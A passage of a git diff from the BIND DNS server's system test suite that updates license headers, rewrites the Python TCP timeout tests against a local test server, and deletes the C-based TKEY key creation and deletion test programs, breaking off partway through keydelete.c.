+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/timeouts/prereq.sh b/bin/tests/system/timeouts/prereq.sh
index 9f4e7cd560..0fac912973 100644
--- a/bin/tests/system/timeouts/prereq.sh
+++ b/bin/tests/system/timeouts/prereq.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/timeouts/setup.sh b/bin/tests/system/timeouts/setup.sh
index 2af68a27f4..c4019d2a27 100644
--- a/bin/tests/system/timeouts/setup.sh
+++ b/bin/tests/system/timeouts/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -18,6 +20,11 @@ copy_setports ns1/named.conf.in ns1/named.conf
 # tcp-initial-timeout interval
 #
 $PYTHON -c "
+print('large IN TXT', end=' ')
+for a in range(128):
+    print('\"%s\"' % ('A' * 240), end=' ')
+print('')
+
 for a in range(150000):
     print('%s IN NS a' % (a))
     print('%s IN NS b' % (a))" > ns1/large.db
diff --git a/bin/tests/system/timeouts/tests-tcp.py b/bin/tests/system/timeouts/tests-tcp.py
deleted file mode 100644
index 03f69da434..0000000000
--- a/bin/tests/system/timeouts/tests-tcp.py
+++ /dev/null
@@ -1,161 +0,0 @@
-#!/usr/bin/python3
-############################################################################
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-############################################################################
-
-# pylint: disable=unused-variable
-
-import socket
-import time
-
-import pytest
-
-TIMEOUT = 10
-
-
-def create_msg(qname, qtype):
-    import dns.message
-    msg = dns.message.make_query(qname, qtype, want_dnssec=True,
-                                 use_edns=0, payload=4096)
-
-    return msg
-
-
-def timeout():
-    return time.time() + TIMEOUT
-
-
-@pytest.mark.dnspython
-@pytest.mark.dnspython2
-def test_initial_timeout(port):
-    #
-    # The initial timeout is 2.5 seconds, so this should timeout
-    #
-    import dns.query
-
-    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
-        sock.connect(("10.53.0.1", port))
-
-        time.sleep(3)
-
-        msg = create_msg("example.", "A")
-
-        with pytest.raises(EOFError):
-            try:
-                (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
-                (response, rtime) = dns.query.receive_tcp(sock, timeout())
-            except ConnectionResetError as e:
-                raise EOFError from e
-
-
-@pytest.mark.dnspython
-@pytest.mark.dnspython2
-def test_idle_timeout(port):
-    #
-    # The idle timeout is 5 second, so sending the second message must fail
-    #
-    import dns.rcode
-
-    msg = create_msg("example.", "A")
-    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
-        sock.connect(("10.53.0.1", port))
-
-        time.sleep(1)
-
-        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
-        (response, rtime) = dns.query.receive_tcp(sock, timeout())
-
-        time.sleep(3)
-
-        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
-        (response, rtime) = dns.query.receive_tcp(sock, timeout())
-
-        time.sleep(6)
-
-        with pytest.raises(EOFError):
-            try:
-                (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
-                (response, rtime) = dns.query.receive_tcp(sock, timeout())
-            except ConnectionResetError as e:
-                raise EOFError from e
-
-
-@pytest.mark.dnspython
-@pytest.mark.dnspython2
-def test_pipelining_timeout(port):
-    #
-    # The pipelining should only timeout after the last message is received
-    #
-    import dns.query
-
-    msg = create_msg("example.", "A")
-    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
-        sock.connect(("10.53.0.1", port))
-
-        time.sleep(1)
-
-        # Send and receive 25 DNS queries
-        for n in range(25):
-            (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
-        for n in range(25):
-            (response, rtime) = dns.query.receive_tcp(sock, timeout())
-
-        time.sleep(3)
-
-        # Send and receive 25 DNS queries
-        for n in range(25):
-            (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
-        for n in range(25):
-            (response, rtime) = dns.query.receive_tcp(sock, timeout())
-
-        time.sleep(6)
-
-        with pytest.raises(EOFError):
-            try:
-                (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
-                (response, rtime) = dns.query.receive_tcp(sock, timeout())
-            except ConnectionResetError as e:
-                raise EOFError from e
-
-
-@pytest.mark.dnspython
-@pytest.mark.dnspython2
-def test_long_axfr(port):
-    #
-    # The timers should not fire during AXFR, thus the connection should not
-    # close abruptly
-    #
-    import dns.query
-    import dns.rdataclass
-    import dns.rdatatype
-
-    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
-        sock.connect(("10.53.0.1", port))
-
-        name = dns.name.from_text("example.")
-        msg = create_msg("example.", "AXFR")
-        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
-
-        # Receive the initial DNS message with SOA
-        (response, rtime) = dns.query.receive_tcp(sock, timeout(),
-                                                  one_rr_per_rrset=True)
-        soa = response.get_rrset(dns.message.ANSWER, name,
-                                 dns.rdataclass.IN, dns.rdatatype.SOA)
-        assert soa is not None
-
-        # Pull DNS message from wire until the second SOA is received
-        while True:
-            (response, rtime) = dns.query.receive_tcp(sock, timeout(),
-                                                      one_rr_per_rrset=True)
-            soa = response.get_rrset(dns.message.ANSWER, name,
-                                     dns.rdataclass.IN, dns.rdatatype.SOA)
-            if soa is not None:
-                break
-        assert soa is not None
diff --git a/bin/tests/system/timeouts/tests_tcp_timeouts.py b/bin/tests/system/timeouts/tests_tcp_timeouts.py
new file mode 100644
index 0000000000..2e2a4b47e2
--- /dev/null
+++ b/bin/tests/system/timeouts/tests_tcp_timeouts.py
@@ -0,0 +1,279 @@
+#!/usr/bin/python3
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# pylint: disable=unused-variable
+
+import socket
+import time
+
+import pytest
+
+pytest.importorskip("dns", minversion="2.0.0")
+import dns.edns
+import dns.message
+import dns.name
+import dns.query
+import dns.rdataclass
+import dns.rdatatype
+
+import pytest_custom_markers  # pylint: disable=import-error
+
+
+TIMEOUT = 10
+
+
+def create_msg(qname, qtype):
+    msg = dns.message.make_query(
+        qname, qtype, want_dnssec=True, use_edns=0, payload=4096
+    )
+    return msg
+
+
+def timeout():
+    return time.time() + TIMEOUT
+
+
+def test_initial_timeout(named_port):
+    #
+    # The initial timeout is 2.5 seconds, so this should timeout
+    #
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect(("10.53.0.1", named_port))
+
+        time.sleep(3)
+
+        msg = create_msg("example.", "A")
+
+        with pytest.raises(EOFError):
+            try:
+                (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+                (response, rtime) = dns.query.receive_tcp(sock, timeout())
+            except ConnectionError as e:
+                raise EOFError from e
+
+
+def test_idle_timeout(named_port):
+    #
+    # The idle timeout is 5 seconds, so the third message should fail
+    #
+    msg = create_msg("example.", "A")
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect(("10.53.0.1", named_port))
+
+        time.sleep(1)
+
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        time.sleep(2)
+
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        time.sleep(6)
+
+        with pytest.raises(EOFError):
+            try:
+                (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+                (response, rtime) = dns.query.receive_tcp(sock, timeout())
+            except ConnectionError as e:
+                raise EOFError from e
+
+
+def test_keepalive_timeout(named_port):
+    #
+    # Keepalive is 7 seconds, so the third message should succeed.
+    #
+    msg = create_msg("example.", "A")
+    kopt = dns.edns.GenericOption(11, b"\x00")
+    msg.use_edns(edns=True, payload=4096, options=[kopt])
+
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect(("10.53.0.1", named_port))
+
+        time.sleep(1)
+
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        time.sleep(2)
+
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        time.sleep(6)
+
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+
+def test_pipelining_timeout(named_port):
+    #
+    # The pipelining should only timeout after the last message is received
+    #
+    msg = create_msg("example.", "A")
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect(("10.53.0.1", named_port))
+
+        time.sleep(1)
+
+        # Send and receive 25 DNS queries
+        for n in range(25):
+            (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        for n in range(25):
+            (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        time.sleep(3)
+
+        # Send and receive 25 DNS queries
+        for n in range(25):
+            (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        for n in range(25):
+            (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        time.sleep(6)
+
+        with pytest.raises(EOFError):
+            try:
+                (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+                (response, rtime) = dns.query.receive_tcp(sock, timeout())
+            except ConnectionError as e:
+                raise EOFError from e
+
+
+def test_long_axfr(named_port):
+    #
+    # The timers should not fire during AXFR, thus the connection should not
+    # close abruptly
+    #
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect(("10.53.0.1", named_port))
+
+        name = dns.name.from_text("example.")
+        msg = create_msg("example.", "AXFR")
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+
+        # Receive the initial DNS message with SOA
+        (response, rtime) = dns.query.receive_tcp(
+            sock, timeout(), one_rr_per_rrset=True
+        )
+        soa = response.get_rrset(
+            dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA
+        )
+        assert soa is not None
+
+        # Pull DNS message from wire until the second SOA is received
+        while True:
+            (response, rtime) = dns.query.receive_tcp(
+                sock, timeout(), one_rr_per_rrset=True
+            )
+            soa = response.get_rrset(
+                dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA
+            )
+            if soa is not None:
+                break
+        assert soa is not None
+
+
+@pytest_custom_markers.flaky(max_runs=3)
+def test_send_timeout(named_port):
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect(("10.53.0.1", named_port))
+
+        # Send and receive single large RDATA over TCP
+        msg = create_msg("large.example.", "TXT")
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+        (response, rtime) = dns.query.receive_tcp(sock, timeout())
+
+        # Send and receive 28 large (~32k) DNS queries that should
+        # fill the default maximum 208k TCP send buffer
+        for n in range(28):
+            (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+
+        # configure idle interval is 5 seconds, sleep 6 to make sure we are
+        # above the interval
+        time.sleep(6)
+
+        with pytest.raises(EOFError):
+            try:
+                (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+                (response, rtime) = dns.query.receive_tcp(sock, timeout())
+            except ConnectionError as e:
+                raise EOFError from e
+
+
+@pytest_custom_markers.long_test
+def test_max_transfer_idle_out(named_port):
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect(("10.53.0.1", named_port))
+
+        name = dns.name.from_text("example.")
+        msg = create_msg("example.", "AXFR")
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+
+        # Receive the initial DNS message with SOA
+        (response, rtime) = dns.query.receive_tcp(
+            sock, timeout(), one_rr_per_rrset=True
+        )
+        soa = response.get_rrset(
+            dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA
+        )
+        assert soa is not None
+
+        time.sleep(61)  # max-transfer-idle-out is 1 minute
+
+        with pytest.raises(ConnectionResetError):
+            # Process queued TCP messages
+            while True:
+                (response, rtime) = dns.query.receive_tcp(
+                    sock, timeout(), one_rr_per_rrset=True
+                )
+                soa = response.get_rrset(
+                    dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA
+                )
+                if soa is not None:
+                    break
+            assert soa is None
+
+
+@pytest_custom_markers.long_test
+def test_max_transfer_time_out(named_port):
+    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+        sock.connect(("10.53.0.1", named_port))
+
+        name = dns.name.from_text("example.")
+        msg = create_msg("example.", "AXFR")
+        (sbytes, stime) = dns.query.send_tcp(sock, msg, timeout())
+
+        # Receive the initial DNS message with SOA
+        (response, rtime) = dns.query.receive_tcp(
+            sock, timeout(), one_rr_per_rrset=True
+        )
+        soa = response.get_rrset(
+            dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA
+        )
+        assert soa is not None
+
+        # The loop should timeout at the 5 minutes (max-transfer-time-out)
+        with pytest.raises(EOFError):
+            while True:
+                time.sleep(1)
+                (response, rtime) = dns.query.receive_tcp(
+                    sock, timeout(), one_rr_per_rrset=True
+                )
+                soa = response.get_rrset(
+                    dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA
+                )
+                if soa is not None:
+                    break
+        assert soa is None
diff --git a/bin/tests/system/tkey/clean.sh b/bin/tests/system/tkey/clean.sh
deleted file mode 100644
index 46f3704aa0..0000000000
--- a/bin/tests/system/tkey/clean.sh
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-set -e
-
-rm -f ./K*
-rm -f ./dig.out.*
-rm -f ./rndc.out.*
-rm -f ns*/K*
-rm -f ns*/_default.tsigkeys
-rm -f ns*/managed-keys.bind*
-rm -f ns*/named.conf
-rm -f ns*/named.conf-e
-rm -f ns*/named.lock
-rm -f ns*/named.memstats
-rm -f ns*/named.run
diff --git a/bin/tests/system/tkey/keycreate.c b/bin/tests/system/tkey/keycreate.c
deleted file mode 100644
index b72b38056a..0000000000
--- a/bin/tests/system/tkey/keycreate.c
+++ /dev/null
@@ -1,312 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/app.h>
-#include <isc/base64.h>
-#include <isc/hash.h>
-#include <isc/log.h>
-#include <isc/managers.h>
-#include <isc/mem.h>
-#include <isc/nonce.h>
-#include <isc/print.h>
-#include <isc/random.h>
-#include <isc/sockaddr.h>
-#include <isc/socket.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <pk11/site.h>
-
-#include <dns/dispatch.h>
-#include <dns/fixedname.h>
-#include <dns/keyvalues.h>
-#include <dns/message.h>
-#include <dns/name.h>
-#include <dns/request.h>
-#include <dns/result.h>
-#include <dns/tkey.h>
-#include <dns/tsig.h>
-#include <dns/view.h>
-
-#include <dst/result.h>
-
-#define CHECK(str, x)                                        \
-	{                                                    \
-		if ((x) != ISC_R_SUCCESS) {                  \
-			fprintf(stderr, "I:%s: %s\n", (str), \
-				isc_result_totext(x));       \
-			exit(-1);                            \
-		}                                            \
-	}
-
-#define RUNCHECK(x) RUNTIME_CHECK((x) == ISC_R_SUCCESS)
-
-#define TIMEOUT 30
-
-static char *ip_address = NULL;
-static int port = 0;
-
-static dst_key_t *ourkey;
-static isc_mem_t *mctx;
-static dns_tsigkey_t *tsigkey, *initialkey;
-static dns_tsig_keyring_t *ring;
-static unsigned char noncedata[16];
-static isc_buffer_t nonce;
-static dns_requestmgr_t *requestmgr;
-static const char *ownername_str = ".";
-
-static void
-recvquery(isc_task_t *task, isc_event_t *event) {
-	dns_requestevent_t *reqev = (dns_requestevent_t *)event;
-	isc_result_t result;
-	dns_message_t *query, *response;
-	char keyname[256];
-	isc_buffer_t keynamebuf;
-	int type;
-
-	UNUSED(task);
-
-	REQUIRE(reqev != NULL);
-
-	if (reqev->result != ISC_R_SUCCESS) {
-		fprintf(stderr, "I:request event result: %s\n",
-			isc_result_totext(reqev->result));
-		exit(-1);
-	}
-
-	query = reqev->ev_arg;
-
-	response = NULL;
-	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &response);
-
-	result = dns_request_getresponse(reqev->request, response,
-					 DNS_MESSAGEPARSE_PRESERVEORDER);
-	CHECK("dns_request_getresponse", result);
-
-	if (response->rcode != dns_rcode_noerror) {
-		result = ISC_RESULTCLASS_DNSRCODE + response->rcode;
-		fprintf(stderr, "I:response rcode: %s\n",
-			isc_result_totext(result));
-		exit(-1);
-	}
-
-	result = dns_tkey_processdhresponse(query, response, ourkey, &nonce,
-					    &tsigkey, ring);
-	CHECK("dns_tkey_processdhresponse", result);
-
-	/*
-	 * Yes, this is a hack.
-	 */
-	isc_buffer_init(&keynamebuf, keyname, sizeof(keyname));
-	result = dst_key_buildfilename(tsigkey->key, 0, "", &keynamebuf);
-	CHECK("dst_key_buildfilename", result);
-	printf("%.*s\n", (int)isc_buffer_usedlength(&keynamebuf),
-	       (char *)isc_buffer_base(&keynamebuf));
-	type = DST_TYPE_PRIVATE | DST_TYPE_PUBLIC | DST_TYPE_KEY;
-	result = dst_key_tofile(tsigkey->key, type, "");
-	CHECK("dst_key_tofile", result);
-
-	dns_message_detach(&query);
-	dns_message_detach(&response);
-	dns_request_destroy(&reqev->request);
-	isc_event_free(&event);
-	isc_app_shutdown();
-	return;
-}
-
-static void
-sendquery(isc_task_t *task, isc_event_t *event) {
-	struct in_addr inaddr;
-	isc_sockaddr_t address;
-	isc_region_t r;
-	isc_result_t result;
-	dns_fixedname_t keyname;
-	dns_fixedname_t ownername;
-	isc_buffer_t namestr, keybuf;
-	unsigned char keydata[9];
-	dns_message_t *query;
-	dns_request_t *request;
-	static char keystr[] = "0123456789ab";
-
-	isc_event_free(&event);
-
-	result = ISC_R_FAILURE;
-	if (inet_pton(AF_INET, ip_address, &inaddr) != 1) {
-		CHECK("inet_pton", result);
-	}
-	isc_sockaddr_fromin(&address, &inaddr, port);
-
-	dns_fixedname_init(&keyname);
-	isc_buffer_constinit(&namestr, "tkeytest.", 9);
-	isc_buffer_add(&namestr, 9);
-	result = dns_name_fromtext(dns_fixedname_name(&keyname), &namestr, NULL,
-				   0, NULL);
-	CHECK("dns_name_fromtext", result);
-
-	dns_fixedname_init(&ownername);
-	isc_buffer_constinit(&namestr, ownername_str, strlen(ownername_str));
-	isc_buffer_add(&namestr, strlen(ownername_str));
-	result = dns_name_fromtext(dns_fixedname_name(&ownername), &namestr,
-				   NULL, 0, NULL);
-	CHECK("dns_name_fromtext", result);
-
-	isc_buffer_init(&keybuf, keydata, 9);
-	result = isc_base64_decodestring(keystr, &keybuf);
-	CHECK("isc_base64_decodestring", result);
-
-	isc_buffer_usedregion(&keybuf, &r);
-
-	initialkey = NULL;
-	result = dns_tsigkey_create(
-		dns_fixedname_name(&keyname), DNS_TSIG_HMACMD5_NAME,
-		isc_buffer_base(&keybuf), isc_buffer_usedlength(&keybuf), false,
-		NULL, 0, 0, mctx, ring, &initialkey);
-	CHECK("dns_tsigkey_create", result);
-
-	query = NULL;
-	dns_message_create(mctx, DNS_MESSAGE_INTENTRENDER, &query);
-
-	result = dns_tkey_builddhquery(query, ourkey,
-				       dns_fixedname_name(&ownername),
-				       DNS_TSIG_HMACMD5_NAME, &nonce, 3600);
-	CHECK("dns_tkey_builddhquery", result);
-
-	request = NULL;
-	result = dns_request_create(requestmgr, query, &address,
-				    DNS_REQUESTOPT_TCP, initialkey, TIMEOUT,
-				    task, recvquery, query, &request);
-	CHECK("dns_request_create", result);
-}
-
-int
-main(int argc, char *argv[]) {
-	char *ourkeyname = NULL;
-	isc_nm_t *netmgr = NULL;
-	isc_taskmgr_t *taskmgr = NULL;
-	isc_timermgr_t *timermgr = NULL;
-	isc_socketmgr_t *socketmgr = NULL;
-	isc_socket_t *sock = NULL;
-	unsigned int attrs, attrmask;
-	isc_sockaddr_t bind_any;
-	dns_dispatchmgr_t *dispatchmgr = NULL;
-	dns_dispatch_t *dispatchv4 = NULL;
-	dns_view_t *view = NULL;
-	dns_tkeyctx_t *tctx = NULL;
-	isc_log_t *log = NULL;
-	isc_logconfig_t *logconfig = NULL;
-	isc_task_t *task = NULL;
-	isc_result_t result;
-	int type;
-
-	RUNCHECK(isc_app_start());
-
-	if (argc < 4) {
-		fprintf(stderr, "I:no DH key provided\n");
-		exit(-1);
-	}
-	ip_address = argv[1];
-	port = atoi(argv[2]);
-	ourkeyname = argv[3];
-
-	if (argc >= 5) {
-		ownername_str = argv[4];
-	}
-
-	dns_result_register();
-
-	mctx = NULL;
-	isc_mem_debugging = ISC_MEM_DEBUGRECORD;
-	isc_mem_create(&mctx);
-
-	log = NULL;
-	logconfig = NULL;
-	isc_log_create(mctx, &log, &logconfig);
-
-	RUNCHECK(dst_lib_init(mctx, NULL));
-
-	isc_managers_create(mctx, 1, 0, 0, &netmgr, &taskmgr, &timermgr,
-			    &socketmgr);
-
-	RUNCHECK(isc_task_create(taskmgr, 0, &task));
-	RUNCHECK(dns_dispatchmgr_create(mctx, &dispatchmgr));
-
-	isc_sockaddr_any(&bind_any);
-	attrs = DNS_DISPATCHATTR_UDP | DNS_DISPATCHATTR_MAKEQUERY |
-		DNS_DISPATCHATTR_IPV4;
-	attrmask = DNS_DISPATCHATTR_UDP | DNS_DISPATCHATTR_TCP |
-		   DNS_DISPATCHATTR_IPV4 | DNS_DISPATCHATTR_IPV6;
-	dispatchv4 = NULL;
-	RUNCHECK(dns_dispatch_getudp(dispatchmgr, socketmgr, taskmgr, &bind_any,
-				     4096, 4, 2, 3, 5, attrs, attrmask,
-				     &dispatchv4));
-	requestmgr = NULL;
-	RUNCHECK(dns_requestmgr_create(mctx, timermgr, socketmgr, taskmgr,
-				       dispatchmgr, dispatchv4, NULL,
-				       &requestmgr));
-
-	ring = NULL;
-	RUNCHECK(dns_tsigkeyring_create(mctx, &ring));
-	tctx = NULL;
-	RUNCHECK(dns_tkeyctx_create(mctx, &tctx));
-
-	view = NULL;
-	RUNCHECK(dns_view_create(mctx, 0, "_test", &view));
-	dns_view_setkeyring(view, ring);
-	dns_tsigkeyring_detach(&ring);
-
-	sock = NULL;
-	RUNCHECK(isc_socket_create(socketmgr, PF_INET, isc_sockettype_udp,
-				   &sock));
-
-	RUNCHECK(isc_app_onrun(mctx, task, sendquery, NULL));
-
-	ourkey = NULL;
-	type = DST_TYPE_PUBLIC | DST_TYPE_PRIVATE | DST_TYPE_KEY;
-	result = dst_key_fromnamedfile(ourkeyname, NULL, type, mctx, &ourkey);
-	CHECK("dst_key_fromnamedfile", result);
-
-	isc_buffer_init(&nonce, noncedata, sizeof(noncedata));
-	isc_nonce_buf(noncedata, sizeof(noncedata));
-	isc_buffer_add(&nonce, sizeof(noncedata));
-
-	(void)isc_app_run();
-
-	dns_requestmgr_shutdown(requestmgr);
-	dns_requestmgr_detach(&requestmgr);
-	dns_dispatch_detach(&dispatchv4);
-	dns_dispatchmgr_destroy(&dispatchmgr);
-	isc_task_shutdown(task);
-	isc_task_detach(&task);
-	isc_socket_detach(&sock);
-	isc_managers_destroy(&netmgr, &taskmgr, &timermgr, &socketmgr);
-
-	dst_key_free(&ourkey);
-	dns_tsigkey_detach(&initialkey);
-	dns_tsigkey_detach(&tsigkey);
-
-	dns_tkeyctx_destroy(&tctx);
-
-	dns_view_detach(&view);
-
-	isc_log_destroy(&log);
-
-	dst_lib_destroy();
-
-	isc_mem_destroy(&mctx);
-
-	isc_app_finish();
-
-	return (0);
-}
diff --git a/bin/tests/system/tkey/keydelete.c b/bin/tests/system/tkey/keydelete.c
deleted file mode 100644
index 891b9cd04f..0000000000
--- a/bin/tests/system/tkey/keydelete.c
+++ /dev/null
@@ -1,255 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/app.h>
-#include <isc/base64.h>
-#include <isc/hash.h>
-#include <isc/log.h>
-#include <isc/managers.h>
-#include <isc/mem.h>
-#include <isc/netmgr.h>
-#include <isc/print.h>
-#include <isc/random.h>
-#include <isc/sockaddr.h>
-#include <isc/socket.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <pk11/site.h>
-
-#include <dns/dispatch.h>
-#include <dns/fixedname.h>
-#include <dns/keyvalues.h>
-#include <dns/message.h>
-#include <dns/name.h>
-#include <dns/request.h>
-#include <dns/result.h>
-#include <dns/tkey.h>
-#include <dns/tsig.h>
-#include <dns/view.h>
-
-#include <dst/result.h>
-
-#define CHECK(str, x)                                        \
-	{                                                    \
-		if ((x) != ISC_R_SUCCESS) {                  \
-			fprintf(stderr, "I:%s: %s\n", (str), \
-				isc_result_totext(x));       \
-			exit(-1);                            \
-		}                                            \
-	}
-
-#define RUNCHECK(x) RUNTIME_CHECK((x) == ISC_R_SUCCESS)
-
-#define TIMEOUT 30
-
-static char *ip_address;
-static int port;
-static isc_mem_t *mctx;
-static dns_tsigkey_t *tsigkey;
-static dns_tsig_keyring_t *ring;
-static dns_requestmgr_t *requestmgr;
-
-static void
-recvquery(isc_task_t *task, isc_event_t *event) {
-	dns_requestevent_t *reqev = (dns_requestevent_t *)event;
-	isc_result_t result;
-	dns_message_t *query, *response;
-
-	UNUSED(task);
-
-	REQUIRE(reqev != NULL);
-
-	if (reqev->result != ISC_R_SUCCESS) {
-		fprintf(stderr, "I:request event result: %s\n",
-			isc_result_totext(reqev->result));
-		exit(-1);
-	}
-
-	query = reqev->ev_arg;
-
-	response = NULL;
-	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &response);
-
-	result = dns_request_getresponse(reqev->request, response,
-					 DNS_MESSAGEPARSE_PRESERVEORDER);
-	CHECK("dns_request_getresponse", result);
-
-	if (response->rcode != dns_rcode_noerror) {
-		result = ISC_RESULTCLASS_DNSRCODE + response->rcode;
-		fprintf(stderr, "I:response rcode: %s\n",
-			isc_result_totext(result));
-		exit(-1);
-	}
-
-	result = dns_tkey_processdeleteresponse(query, response, ring);
-	CHECK("dns_tkey_processdhresponse", result);
-
-	dns_message_detach(&query);
-	dns_message_detach(&response);
-	dns_request_destroy(&reqev->request);
-	isc_event_free(&event);
-	isc_app_shutdown();
-	return;
-}
-
-static void
-sendquery(isc_task_t *task, isc_event_t *event) {
-	struct in_addr inaddr;
-	isc_sockaddr_t address;
-	isc_result_t result;
-	dns_message_t *query;
-	dns_request_t *request;
-
-	isc_event_free(&event);
-
-	result = ISC_R_FAILURE;
-	if (inet_pton(AF_INET, ip_address, &inaddr) != 1) {
-		CHECK("inet_pton", result);
-	}
-	isc_sockaddr_fromin(&address, &inaddr, port);
-
-	query = NULL;
-	dns_message_create(mctx, DNS_MESSAGE_INTENTRENDER, &query);
-
-	result = dns_tkey_builddeletequery(query, tsigkey);
-	CHECK("dns_tkey_builddeletequery", result);
-
-	request = NULL;
-	result = dns_request_create(requestmgr, query, &address,
-				    DNS_REQUESTOPT_TCP, tsigkey, TIMEOUT, task,
-				    recvquery, query, &request);
-	CHECK("dns_request_create", result);
-}
-
-int
-main(int argc, char **argv) {
-	char *keyname = NULL;
-	isc_nm_t *netmgr = NULL;
-	isc_taskmgr_t *taskmgr = NULL;
-	isc_timermgr_t *timermgr = NULL;
